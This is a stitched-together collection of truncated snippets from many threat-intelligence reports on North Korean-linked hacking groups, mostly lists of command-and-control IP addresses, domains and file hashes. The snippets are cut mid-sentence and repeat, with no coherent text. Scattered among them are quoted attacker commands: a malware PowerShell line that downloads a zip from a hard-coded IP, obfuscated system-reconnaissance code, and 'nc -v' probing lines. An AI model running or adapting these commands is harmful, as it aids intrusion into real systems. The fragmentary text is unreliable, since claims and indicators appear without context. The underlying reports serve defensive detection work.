68.168.123.86:443…","…United States ASN23033 Wowrack.com 192.210.213.178 United States ASN36352 ColoCrossing 209.90.234.34 United States ASN23033 Wowrack.com 198.180.198.6 United States ASN26658 HT URL…","…45.33.2.79 45.33.23.183 45.56.79.23 45.79.19.196 96.126.123.244 146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197 198.54.117.198 198.54.117.199 198.54.117.200 198.58.118.167 The jmttrading.org domain had a valid…","…The domain was registered at the IP address 198.187.29.20 with ASN 22612. 081d1739422bf050755e6af269a717681274821cea8becb0962d4db61869c5d6 Tags trojan Details Name JMTTrader.exe…","…NAMECHEAP INC 3 web-meet.live 2026-04-06 03:32:56 198.187.29.26 22612 NAMECHEAP-NET - Namecheap, Inc.…","…basketsalute.com prontoposer.com IP addresses: 146.19.173.125 23.227.202.54 38.132.124.88 88.119.174.148 198.244.135.250 POOLRAT SHA256 hashes: f3b0da965a4050ab00fce727bb31e0f889a9c05d68d777a8068cfc15a71d3703…","…2018, to January 23, 2021. 45.199.63.220 107.187.66.103 145.249.106.19 175.29.32.160 185.142.236.213 185.181.104.82 198.251.83.27 208.91.197.46 209.99.64.18 The celasllc.com domain had a valid Sectigo (previously known as Comodo) Secure Sockets Layer (SSL)…","…com (27.255.81.59) - nottingham39483.com (45.58.121.194) - error-naver.com (198.252.103.74) - down-error2.com (198.252.102.112) - kan-smiko.com (172.96.186.193) - kani_smiko@rambler.ru - birmingham1956@rambler.ru HWP 문서 파일 내부에는 악성 포스트…","…Kwon bitcoin015@han mail.net rnail-163.com 198.252.103.65 (US) Swoonchul Kwon bitcoin018@han mail.net 163-mail-vertify.com 198.252.102.89 (US) Annie Cho bitcoin016@han mail.net mail-securiety.com N/A Annie Cho bitcoin016@han mail.net app-wallet.com 91.235.116.144…","…(HK) Swoonchul Kwon bitcoin014@han mail.net rnailn.com 103.227.176.19 (SG) Swoonchul Kwon bitcoin015@han mail.net rnail-163.com 198.252.103.65 (US) Swoonchul Kwon bitcoin018@han mail.net 163-mail-vertify.com 198.252.102.89 (US) Annie Cho bitcoin016@han mail.net…","…com (27.255.81.59) - nottingham39483.com (45.58.121.194) - error-naver.com (198.252.103.74) - down-error2.com (198.252.102.112) - kan-smiko.com (172.96.186.193) - kani_smiko@rambler.ru - birmingham1956@rambler.ru…","…on their website coingotrade.com ( Acquire Infrastructure: Domain [ T1583.001 ]). The domain CoinGoTrade.com resolved to IP address 198.54.114.175 from February 28, 2020, to January 23, 2021.…","…as the administrative or technical contact for the coingotrade.com domain. The domain is registered with NameCheap at the IP address 198.54.114.175 with ASN 22612. Investigation revealed the IP address 198.54.114.175 was hosted at NameCheap, but no records were available at the time of…","…NAMECHEAP INC 55 nicrosofm.com 2026-03-16 03:08:11 198.54.114.236 22612 Namecheap, Inc.…","…as their product is a “premium package” ( Develop Capabilities: Malware [ T1587.001 ]). The domain ants2whale.com resolved to IP address 198.54.114.237 from September 23, 2020, to January 22, 2021.…","…The certificate was is valid from 09/21/2020 – 09/21/2021. The domain is registered with NameCheap at the IP address 198.54.114.237 with ASN 22612.…","…NAMECHEAP INC 57 nicrosolf.com[1] 2026-03-15 18:34:33 198.54.115.108 22612 Namecheap, Inc.…","…NAMECHEAP INC 10 teamsliveo.com 2026-04-02 06:08:14 198.54.115.166 22612 NAMECHEAP-NET - Namecheap, Inc.…","…to malicious domains and IP addresses: DeviceNetworkEvents | where (RemoteUrl has_any (\"strainservice.com\")) or (RemoteIP has_any (\"198.54.115.248\")) Query that searches for files downloaded from malicious domains and IP addresses. DeviceFileEvents | where (FileOriginUrl has_any…","…107.180.119.82 26496 AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC NameSilo, LLC 22 teamslivos.com 2026-03-31 18:06:49 198.54.115.40 22612 NAMECHEAP-NET - Namecheap, Inc.…","…with version revisions claiming to start with version 1.0.0, released on April 15, 2019. The domain dorusio.com resolved to IP address 198.54.115.51 from March 30, 2020 to January 23, 2021.…","…was available as the administrative or technical contact for the domain. The domain is registered with NameCheap at the IP address 198.54.115.51 with ASN 22612.…","…NAMECHEAP INC 6 teamslivc.com 2026-04-02 17:02:39 198.54.116.166 22612 NAMECHEAP-NET - Namecheap, Inc.…","…2026-02-11 23:58:22 91.195.240.123 47846 SEDO-AS SEDO GmbH NameSilo, LLC 109 microcal1.com 2026-02-11 16:45:12 198.54.116.214 22612 Namecheap, Inc.…","…NameSilo, LLC 9 microcall.us 2026-04-02 06:52:17 198.54.116.40 22612 NAMECHEAP-NET - Namecheap, Inc.…","…45.33.23.183 45.56.79.23 45.79.19.196 96.126.123.244 146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197 198.54.117.198 198.54.117.199 198.54.117.200 198.58.118.167 The jmttrading.org domain had a valid Sectigo SSL certificate…","…45.56.79.23 45.79.19.196 96.126.123.244 146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197 198.54.117.198 198.54.117.199 198.54.117.200 198.58.118.167 The jmttrading.org domain had a valid Sectigo SSL certificate ( Obtain…","…96.126.123.244 146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197 198.54.117.198 198.54.117.199 198.54.117.200 198.58.118.167 The jmttrading.org domain had a valid Sectigo SSL certificate ( Obtain Capabilities: Digital…","…146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197 198.54.117.198 198.54.117.199 198.54.117.200 198.58.118.167 The jmttrading.org domain had a valid Sectigo SSL certificate ( Obtain Capabilities: Digital Certificates […","…198.57.247.218 > 1/94 detection 192.64.119.169 > 0/94 detection this IP resolves bellezalatam.com 198.54.117.242 > 2/94 detection This IP resolves to amirani.chat The malware has been identified communicating with a known Command and…","…NAMECHEAP INC 163 join-uk.com 2020-01-27 00:57:20 198.54.117.242 22612 Namecheap, Inc.…","…NAMECHEAP INC 54 teams-us.live 2026-03-16 11:58:22 198.54.120.79 22612 Namecheap, Inc.…","…Network Indicators Malware IP C2 Domains SHARPEXT 199.188.200.186 gonamod.com 198.54.126.155 siekis.com 156.154.113.16 worldinfocontact.club NetSupport RAT 135.84.124.41 Shlayer…","…new offer to the same target. The internal documentation related to the attackers' email sending (Figure 10) also reveals the IP address 198.54.127.82. Figure 11: Mail Sending Configuration Section from Attackers Documentation.…","…Third stage C2 servers 198.55.119.112:443 45.58.112.77:443 23.229.111.197:8443 23.229.111.197:443 185.208.158.208:443 MITRE ATT&CK Mapping Tactic…","…thematic resemblance to domains previously resolved By pivoting on each domain we got another 4 IPs 140.82.20.246 156.154.132.200 198.57.247.218 192.64.119.169 140.82.20.246 > 10/94 detection 156.154.132.200 > 2/94 detection 198.57.247.218 > 1/94 detection…","…184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197 198.54.117.198 198.54.117.199 198.54.117.200 198.58.118.167 The jmttrading.org domain had a valid Sectigo SSL certificate ( Obtain Capabilities: Digital Certificates [ T1588.004 ]).…","…북한 백신 프로그램 사칭, '다크 평양(Operation Dark Pyongyang)' 등장 (0) 2019.03.23 태그 103.225.168.159 , 1717.txt , 198.96.95.58 , 47.91.56.21 , alahbabgroup.com , Albany , Ashot Ashkelon Industries Limited , B374k , CVE-2018-20250 , ekrnview.exe , GuiCache.db , idans…","…199.180.116.228 (미국) [그림 9] 미국의 특정 서버로 통신을 시도하는 코드 화면 또한, 2018년 국회의원실을 사칭해 설치된 악성 코드와 2016년 국방분야 관련 공격에 사용된 악성 코드의 암복호화 알고리즘을…","…in 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 (described below) 14.139.200.107 197.211.212.31 199.180.148.134 110.45.145.103 217.117.4.110 61.106.2.96 175.100.189.174 153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6 ELF…","…5.145.103 114.215.130.173 119.29.11.203 124.248.228.30 139.196.55.146 14.139.200.107 175.100.189.174 181.119.19.100 197.211.212.31 199.180.148.134 217.117.4.110 61.106.2.96 Introducing McAfee+ Identity theft protection and privacy for your digital life…","…then writes the decrypted data to a file and executes it in a new shell. tokenais.com Information as of January 2022: IP Address: 199.188.103.115 Registrar: NameCheap, Inc. Created: January 27, 2022 Expires: January 27, 2023…","…Network Service Scanning Network Indicators Malware IP C2 Domains SHARPEXT 199.188.200.186 gonamod.com 198.54.126.155 siekis.com 156.154.113.16 worldinfocontact.club NetSupport RAT…","…were found on December 7, 2024; the first IP address on line 46 is from the person submitting the form on 38.170.181.10, and the second, 199.188.200.35, is the hosted server receiving the data. We have not detected any ByBit victims within the log files yet, nor have we seen the ByBit…","…microh.click [3] 2026-03-24 23:48:05 CloudFlare 13335 CloudFlare NameSilo, LLC 41 onreallive.com 2026-03-24 17:26:21 199.188.200.43 22612 NAMECHEAP-NET - Namecheap, Inc.…","…2026-03-26 14:11:36 83.136.210.87 400897 PETROSKY CLOUD LLC NAMECHEAP INC 29 msteamcall.com 2026-03-26 00:32:14 199.188.205.45 22612 Namecheap, Inc.…","…2020‑02‑22 A compromised legitimate site hosting the C&C server: https://kittimasszazs.hu/images/virag.php 199.188.206.75 nrfm.lk Namecheap, Inc. 2021‑03‑13 A compromised legitimate WordPress-based site hosting the C&C server:…","…Network IOCs 67.213.221.6 192.145.127.190 45.9.251.14 199.229.250.142 Share this post Related Content UAT-7810 continues…","…Network IOCs 67.213.221.6 192.145.127.190 45.9.251.14 199.229.250.142 Share this post Related Content UAT-11985: AI-assisted…","…Network IOCs 67.213.221.6 192.145.127.190 45.9.251.14 199.229.250.142 Share this post Related Content Break the silence:…","…Network IOCs 67.213.221.6 192.145.127.190 45.9.251.14 199.229.250.142 Share this post Related Content Inside KeyDrift: Analyzing…","…C2 IPv4 Addresses 103.224.82.154 180.67.205.101 182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188…","…C2 (Related) 52.177.14.24 [US] 69.163.180.70 [US] 162.0.209.27 [US] 162.0.209.91 [US] 199.59.243.225 [US] joongang.site/pprb/sec/d.php?na=battmp yonsei.lol rfa.ink/bio/d.php?na=battmp rfa.ink/bio/d.php?na=vbtmp mitmail.tech/gorgon/ca.php?na…","…91.140.255.62 68.232.175.188 128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122…","…(iconcache.db) Domains (4) agarwalpropertyconsultants.com anca-aste.it automercado.co.cr curiofirenze.com IPs (4) 192.99.20.39 199.79.63.24 51.68.152.96 54.241.91.49 Findings 586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e Tags downloadertrojan Deta…","…attempts to connect to this domain. 199.79.63.24 Whois Queried whois.arin.net with \"n 199.79.63.24\"... NetRange: 199.79.62.0 - 199.79.63.255 CIDR: 199.79.62.0/23 NetName: PUBLICDOMAINREGISTRY-NETWORKS NetHandle: NET-199-79-62-0-1 Parent: NET199 (NET-199-0-0-0-0)…","…(TCP) 185.26.182.103:443 (TCP) 185.26.182.103:80 (TCP) 185.26.182.109:80 (TCP) 185.26.182.118:80 (TCP) 192.229.221.95:80 (TCP) 2.18.66.170:443 (TCP) 2.22.5.73:443 (TCP) 2.23.161.155:443 (TCP) 2.23.161.155:80 (TCP) 209.140.135(.0)138:443 (TCP) 209.140.135.138:80…","…(TCP) 185.26.182.103:80 (TCP) 185.26.182.109:80 (TCP) 185.26.182.118:80 (TCP) 192.229.221.95:80 (TCP) 2.18.66.170:443 (TCP) 2.22.5.73:443 (TCP) 2.23.161.155:443 (TCP) 2.23.161.155:80 (TCP) 209.140.135(.0)138:443 (TCP) 209.140.135.138:80 (TCP) 212.82.100.137:443…","…(TCP) 185.26.182.109:80 (TCP) 185.26.182.118:80 (TCP) 192.229.221.95:80 (TCP) 2.18.66.170:443 (TCP) 2.22.5.73:443 (TCP) 2.23.161.155:443 (TCP) 2.23.161.155:80 (TCP) 209.140.135(.0)138:443 (TCP) 209.140.135.138:80 (TCP) 212.82.100.137:443 (TCP) 212.82.100.137:80…","…previously unreported domain name and IP address that was likely associated with the TraderTraitor activity: en.stocksitem.org 2.56.10.90 Figure 1.…","…193.148.16.45 KakaoTalk.apk com.android.update 2019/09/17 21:49:53 Henry 2487a29d1193b5f48d29df02804d8172 2.56.151.8 NaverProtect.apk app.project.appcheck 2019/03/27 18:00:00 Jhon 9c025c3ff6ec04b7e67c9553ef4e2415 193.148.16.45…","…10 workers. [*] Done: Found 500 domains for 13.248.252.114 [*] Done: Found 500 domains for 13.248.158.159 [*] Done: Found 500 domains for 2.57.90.16 [*] Done: Found 104 domains for 5.196.104.158 [*] Done: Found 500 domains for 3.33.243.145 [*] Done: Found 500 domains for…","…5.196.104.158 [*] Done: Found 500 domains for 3.33.243.145 [*] Done: Found 500 domains for 13.248.151.237 [*] Done: Found 500 domains for 2.57.90.58 [*] Done: Found 137 domains for 15.235.33.18 [*] Done: Found 178 domains for 15.235.33.28 [*] Done: Found 5 domains for 15.235.132.75…","…NameSilo, LLC 11 outms.com 2026-04-02 05:34:33 2.57.91.62 47583 AS-HOSTINGER Hostinger International Limited NameSilo, LLC 12 annaelsa.xyz 2026-04-01 15:25:56 23.254.167.21 54290…","…$appdata = [System.Environment]::GetFolderPath('ApplicationData'); $url = 'http://2.58.56.124/API481f.zip'; $zipPath = \"$appdata\\API481f.zip\"; Invoke-WebRequest -Uri $url - OutFile $zipPath; Add-Type -AssemblyName…","…requests domain ocsp.digicert.com Connections ip 40.126.31.137 ip 20.190.154.19 ip 23.48.202.145 ip 8.248.143.254 ip 104.89.38.104 HTTP/HTTPS requests url…","…https://strivemktsupporters.com 3.39.208.187 222.118.225.33 211.110.1.17 20.194.29.89 119.207.79.175 61.100.5.186 110.10.189.167 14.63.165.32 211.110.1.93 182.252.138.31 114.207.112.19 1.249.169.5 연관 IOC 및 관련 상세…","…공격자는 최초 침투 이후 시스템의 기본적인 정보들을 조회하였으며 Advanced Port Scanner가 설치된 이력도 존재한다. > ping 20.20.100.32 > tasklist > ipconfig /all > netstat -noa > whoami 이후에는 다음과 같은 파워쉘 명령으로 웹쉘을 설치하는 것으로 추정된다.…","…the threat actor queried basic system information, and there is also a record of Advanced Port Scanner being installed. > ping 20.20.100.32 > tasklist > ipconfig /all > netstat -noa > whoami It is presumed that subsequently, a web shell is installed using the following…","…기획설문 .doc 2021-03-02 09:01:00 Network Group / Network Group http://200.200.200.200/test/v.php 4 49a04c85555b35f998b1787b325526e6 / c9f23b6ee1ba97c753892e6c103521d6 Network…","…ネットワー クワイ パー (760C35A80D758F032D02CF4DB12D3E55) 88.53.215.64:8000 イタリア ネットワー クワイ パー (760C35A80D758F032D02CF4DB12D3E55) 200.87.126.116:8000 ボリビア N/A 58.185.154.99:8000 シンガポール N/A 212.31.102.100:8080 キプロス N/A 208.105.…","…41.131.29.59 176.35.250.93 64.86.34.24 58.6.21.11 114.215.107.218 118.140.97.6 190.216.219.247 201.26.209.137 14.161.14.196 220.132.191.110 92.42.54.184 182.180.143.39 193.251.27.90 (NOTE: These are just some of the collected IoCs…","…IOCs tech.micrsofts.com tech.micrsofts.tech 27.102.113.93 185.29.8.53 155.94.208.209 162.19.71.175 201.77.179.66 http://27.102.113.93/inet.txt http[://]162.19.71.175:7443/sonic/bottom.gif http[://]201.77.179.66:8082/img/lndex.php http[://]201.77.17…","…실제 발송된 메일의 서버는 (mailout05.yourhostingaccount.com [65.254.254.73]) 이며, X-EN-OrigIP 주소가 '202.168.155.156' 한국으로 기록되어 있습니다.…","…68.232.175.188 128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158…","…あり 関連を整理すると次の通り。 ２． マルウェア の通信先 SPEへの攻撃に使用されている確認されている通信先は次の6つ。 IPアドレス 国 関連する マルウェア 203.131.222.102:8080 タイ ネットワー クワイ パー (760C35A80D758F032D02CF4DB12D3E55) 217.96.33.164:8000 ポーランド ネットワー クワイ…","…www.clearskysec.co m TLP: W hite Page | 17 June 20 20 IP addresses 66.181.166.11 78.94.213.101 203.144.133.42 69.64.54.215 210.212.148.30 66.181.166.15 23.65.190.86 70.184.87.103 91.98.251.208 59.127.150.197 190.85.159.46…","…These findings led us to believe that entity 128.201.64.194 is possibly a compromised Mikrotik router. While entities 203.144.133.42 and 66.181.166.15 have multiple identical services running such as Microsoft IIS, MS-SQL, Microsoft HTTP-API and RDP/VNC as of writing this…","…186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158 140.136.134.201 185.45.28.182 203.151.166.13 104.168.137.213 88.204.166.59 URL s (Hardcoded IP addresses) 140.136.134.201:8080/open?topic= 41.85.145 . 164:8080/open?topic=…","…reserv ed. 66 Stunnel [pop3] client = yes accept = 127.0.0.1:5821 connect = [ プロキシサーバー ]:[ プロキシポート番号 ] protocol = connect protocolHost = 203.193.165.77:443 userAgent = \"Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0\" ; verifyChain = yes ; CAfile =…","…= yes accept = 127.0.0.1:5821 connect = [PROXY SERVER]:[PROXY PORT] protocol = connect protocolHost = 203.193.165.77:443 userAgent = \"Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0\" ; verifyChain = yes ; CAfile =…","…Spawn Chimera: The Hankyoreh 신문의 IP 주소(203.234.192.200)에 접근하기 위한 클라이언트 도구 TLS-Client-Hello 메시지의 ClientRandom 필드에 포트 노킹 방식 세 가지 VPN 서비스 비용을 지불하기 위해 Google Pay를 사용?…","…The included readme.txt file contains instructions for using client.py and controller.py to connect to 203.234.192.200 , an IP address belonging to the South Korean news organization Hankyoreh . caption - content of readme.txt client.py uses a SOCKS5…","…and The Hankyoreh newspaper The leak revealed a backdoor client named SpawnChimera hidden in a folder tied to IP 203.234.192.200 , which belongs to hani.co.kr — the infrastructure of The Hankyoreh , a liberal South Korean newspaper. This backdoor didn’t use normal…","…readme.txt 파일에는 client.py, controller.py를 사용하여 203.234.192.200 ip에 접속하는 방법이 적혀있으며 해당 ip는 한겨레 신문사의 ip 주소로 확인되었다. caption - readme.txt 파일 내용 client.py는 네트워크 트래픽을 터널링하기 위한 SOCKS5 프록시를 실행하고, client.py의…","…http://security-confirm.bmail-org.com/pages/log.php | 204.93.163.87 (US) 분석 시점 당시 'security-confirm.bmail-org.com/pages' 주소로 접속하면, 청와대 홈페이지로 변경되는 것이 확인되었습니다.…","…Malware C2 1 bzupdater.zip 509,117 72fc2de8e9339969b9be2bb4363e2741 version.dll Quasar RAT 206.206.123.55 2 bzupdater.zip 3,816,112 fc7315b6b74aa43ab24965f3648f01a6 version.dl Quasar RAT 216.74.123.97…","…common names spoofing Apple were discovered: appleplus.dnbaletmigardam.top on 185.239.0.39, and appleplus.sbs , hosted on 206.206.125.237 . These findings indicate tactics and infrastructure choices consistent with DPRK threat actors, particularly the rotation of…","…b=\"());$z=$r.(R)eadLine();$b=[C(o)n\"+\"vert]::F(r)omBase6\"가 보이며 해당 부분은 파워셸 명령을 실행하는 자바스크립트 코드로 문자열을 이어붙여 악성 스크립트를 은폐. 네트워크 통신**: IP 주소 206.206.127.152와 포트 9002를 사용하여 원격 서버에 연결 공격자가 제어하는 C2(Command and Control) 서버 파일 다운로드 및 압축 해제: 스크립트는 원격 서버에서 데이터를 다운로드한 후 c:\\\\programdata\\\\t.zip 에 저장하려는…","…IP 103.5.144.26 159.100.13.216 206.206.127.152 216.107.137.73 64.49.14.181 Tags: AsyncRAT InfoStealer Keylogger Kimsuky lnk…","…먼저 206.206.127.152:7628 에 접속하여 압축 파일을 다운받은 뒤 작업 스케줄러와 자동 실행 레지스트리를 등록합니다. 작업 스케줄러 정보 이름: AMicrosoftEdgeUpdateExpanding[3829710973] 행위: 2분 간격으로…","…URL https://206.72.205.117/ https://209.127.19.223/ https://45.58.159.237/ https://kmobile.bestunif.com/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를…","…URL https://206.72.205.117/ https://209.127.19.223/ https://45.58.159.237/ https://kmobile.bestunif.com/ Gain access to related IOCs and detailed…","…Control servers 34.214.99.20/view_style.php 137.74.41.56/board.php kingkoil.com.sg/board.php Document URLs http://208.117.44.112/document/Strategic Planning Manager.doc http://208.117.44.112/document/Business Intelligence…","…- 50.205.193.11:443 (US) - 208.52.184.13:443 (US) - 184.107.209.2:443 (CA) [그림 4] 명령 제어 서버 지도 공격자는 윈도우즈 명령 처리기 코드 조합을 특유의 방식으로 사용하는데, 이 코드 패턴은 2009년…","…図3: クライアントIDを生成している処理 次に各種システム情報 (ドメイン、ユーザ名、OSバージョン、プロセス一覧など) を収集します。この際、コマンド nslookup myip.opendns.com 208.67.222.220 を実行して、OpenDNSを使用してグローバルIPアドレス情報を収集します 3 。収集された情報は [System.IO.Path]::GetTempFileName() 関数を使用して一時ファイル内に保存されます。 図4: システム情報を収集している処理…","…= Get-Process $ooosss = [System.Environment]::OSVersion $iip = ((& \"nslookup\" \"myip.opendns.com\" \"208.67.222.220\") |select -last 2)[0].Trim(\"Addre(s)s:\").Trim() $aaav = Get-CimInstance -Names(p)ace root/Sec(u)rityCenter2 -ClassName…","…Send an HTTP GET request to the URL http://208.85.16.88/wy/[computername].txt , where [computername] is the name of the victim machine.…","…23, 2021. 45.199.63.220 107.187.66.103 145.249.106.19 175.29.32.160 185.142.236.213 185.181.104.82 198.251.83.27 208.91.197.46 209.99.64.18 The celasllc.com domain had a valid Sectigo (previously known as Comodo) Secure Sockets Layer (SSL) certificate (…","…C2 IPv4 Addresses 103.224.82.154 180.67.205.101 182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 6…","…URL https://206.72.205.117/ https://209.127.19.223/ https://45.58.159.237/ https://kmobile.bestunif.com/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…URL https://206.72.205.117/ https://209.127.19.223/ https://45.58.159.237/ https://kmobile.bestunif.com/ Gain access to related IOCs and detailed analysis by subscribing to…","…URL http://152.89.247.57:52390/ http://172.93.201.248:52390/ http://172.93.201.248:8083/ http://192.236.154.125:50108/ http://209.127.37.40:52390/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the…","…(TCP) 2.18.66.170:443 (TCP) 2.22.5.73:443 (TCP) 2.23.161.155:443 (TCP) 2.23.161.155:80 (TCP) 209.140.135(.0)138:443 (TCP) 209.140.135.138:80 (TCP) 212.82.100.137:443 (TCP) 212.82.100.137:80 (TCP) 52.142.124.215:443 (TCP) 8.247.209.254:80 (TCP) 82.145.216.20:443…","…받은 텍스트 응답을 나타내며 해당 부분이 VBScript로 실행 즉 서버에서 반환된 데이터가 VBScript 코드일 경우 해당 코드가 실행 사용하는 IP 트래픽 157.7.184.26:80(TCP) 208.111.177.0:80(TCP) 209.197.3.8:80(TCP) 8.248.153.254:80(TCP) 8.252.193.254:80(TCP) 2023-10-16 07:48:48 UTC 기준 바이러스토탈 에서 탐지하는 보안 업체들은 다음과…","…3 111.90.148.132:443 172.81.132.41:443 172.93.184.62:443 172.93.201.219:443 185.62.58.207:443 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443 23.254.119.12:443 67.43.239.146:443 68.168.123.86:443…","…ASN8100 QuadraNet Enterprises LLC 74.121.190.121 United States ASN23033 Wowrack.com 192.210.213.178 United States ASN36352 ColoCrossing 209.90.234.34 United States ASN23033 Wowrack.com 198.180.198.6 United States ASN26658 HT URL…","…107.187.66.103 145.249.106.19 175.29.32.160 185.142.236.213 185.181.104.82 198.251.83.27 208.91.197.46 209.99.64.18 The celasllc.com domain had a valid Sectigo (previously known as Comodo) Secure Sockets Layer (SSL) certificate ( Obtain Capabilities:…","…18.0.0.324 and 19.x Vulnerability CVE-2016-0034: Microsoft Silverlight 5.1.41212.0 Vulnerability CVE-2016-1019: Adobe Flash Player 21.0.0.197 Vulnerability CVE-2016-4117: Adobe Flash Player 21.0.0.226 Vulnerability DHS recommends that organizations upgrade these applications…","…117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125…","…239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.4…","…Notable Strings--- 21.252.107.198 Tags command-and-control Ports 23164 TCP Whois NetRange: 21.0.0.0 - 21.255.255.255 CIDR: 21.0.0.0/8 NetName: DNIC-SNET-021 NetHandle: NET-21-0-0-0-1 Parent: () NetType: Direct Allocation OriginAS: Organization: DoD…","…File %TEMP%\\svchostav.exe URL http://mail.[removed].co.kr/de/de_includes/mail/yandex.ru/download.php IP Address 210.112.239.74 Early April 2018 Attack Indicator Type Indicator Hash…","…logs email open with timestamp, IP, and browser information Operator monitors logs to confirm email was opened Evidence: 210.117.199.101 — — [24/May/2025:01:40:29 +0200] “GET /request.php?i=eWliMTAwQGRjYy5taWwua3I=&dot.png HTTP/1.1” 200 5372 “https://mail.dcc.mil.kr/\" 4.…","…이 악성 파일은 메모리 맵핑 과정을 통해 외부의 명령제어 서버와 통신을 수행하게 되는데, 명령제어 서버는 한국의 특정 호스트(worker.co.kr/210.122.7.129)입니다.…","…The implant lsm.exe contacted 210.122.7.129 which also resolves to worker.co.kr.…","…218 :8080 No.2 210.127.39.29:80 No.3 20.**.9.**:443 マルウェア を分析している組織による情報 TrendMicro Compromised Auto-Update Mechanism Affects South Korean Users…","…119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200…","…8.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.…","…URL http://210.16.120.210/rdpclip.dat http://minish.wiki.gd/c.pdf http://minish.wiki.gd/eng.db http://minish.wiki.gd/index.php http://minish.wiki.gd/upload.php…","…that this actor calls themselves Thallium. Here are some of IPs and domains used by the actor for C2 communications: 210.16.120.34 216.189.157.89 45.58.55.73 45.13.135.103 27.102.114.89 210.16.121.137 58.229.208.146 27.102.107.63 download.riseknite.life…","…of IPs and domains used by the actor for C2 communications: 210.16.120.34 216.189.157.89 45.58.55.73 45.13.135.103 27.102.114.89 210.16.121.137 58.229.208.146 27.102.107.63 download.riseknite.life onedrive-upload.ikpoo.cf alps.travelmountain.ml texts.letterpaper.press Analysis…","…The use of 210.183.177.217 , a Korean IP, as a C&C server also confirms that legitimate Korean servers are being compromised and repurposed as C&C infrastructure.…","…IPv4 addresses (210.202.40.35) hosting the weaponized documents have also been hardcoded as command and control servers for previous samples…","…159.100.250.231 BUFFETLINE SHA-256: 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 107.6.12.135 210.202.40.35 MITRE ATT&CK Lazarus Group – G0032 Commonly Used Port – T1043 Connection Proxy – T1090 Credential Dumping – T1003 Custom…","…. Submitted Files (1) 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 (smss.exe) IPs (2) 107.6.12.135 210.202.40.35 Findings 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 Tags trojan Details Name smss.exe Size…","…TLP: W hite Page | 17 June 20 20 IP addresses 66.181.166.11 78.94.213.101 203.144.133.42 69.64.54.215 210.212.148.30 66.181.166.15 23.65.190.86 70.184.87.103 91.98.251.208 59.127.150.197 190.85.159.46 190.81.34.163 191.215.16.82…","…54.241.91.49 ns3145204.ip-51-68-119.eu 51.68.119.230 reverse-31-186-8 - 221.turkicaret.net 31.186.8.221 kmdia.or.kr 210.217.137.70 __________________________________________________________________________________________________ __ www.clearskysec.com ©…","…to analysis of Lazarus infrastructure, Group-IB specialists have detected that the attack was controlled from two IP addresses: 210.52.109.22 belongs to an autonomous system China Netcom.…","…During an investigation, Group-IB discovered that Lazarus operators connected to a C&C using two IP addresses from North Korea ( 210.52.109.22 and 175.45.178.222 ).…","…RAT – f8b329fc1f4d50f5509a72c1f630155538f4d2c6e49b80ce4841fada6547c4bd C&Cs 182.56.5.227 222.122.31.115 66.99.86.8 210.61.8.12 62.215.99.90 Jay Rosenberg Building Your Bullet Proof Incident Response Plan…","…of targeted network reconnaissance: ping 192.168.150.118 ping 192.168.20.118 nc -v swi-nwv2.ad.plc.ned.org 443 nc -v 210.71.195.10 25 nc -v 211.23.123.246 25 nc -v 59.125.159.81 25 ping mail.h805.mn nc -v 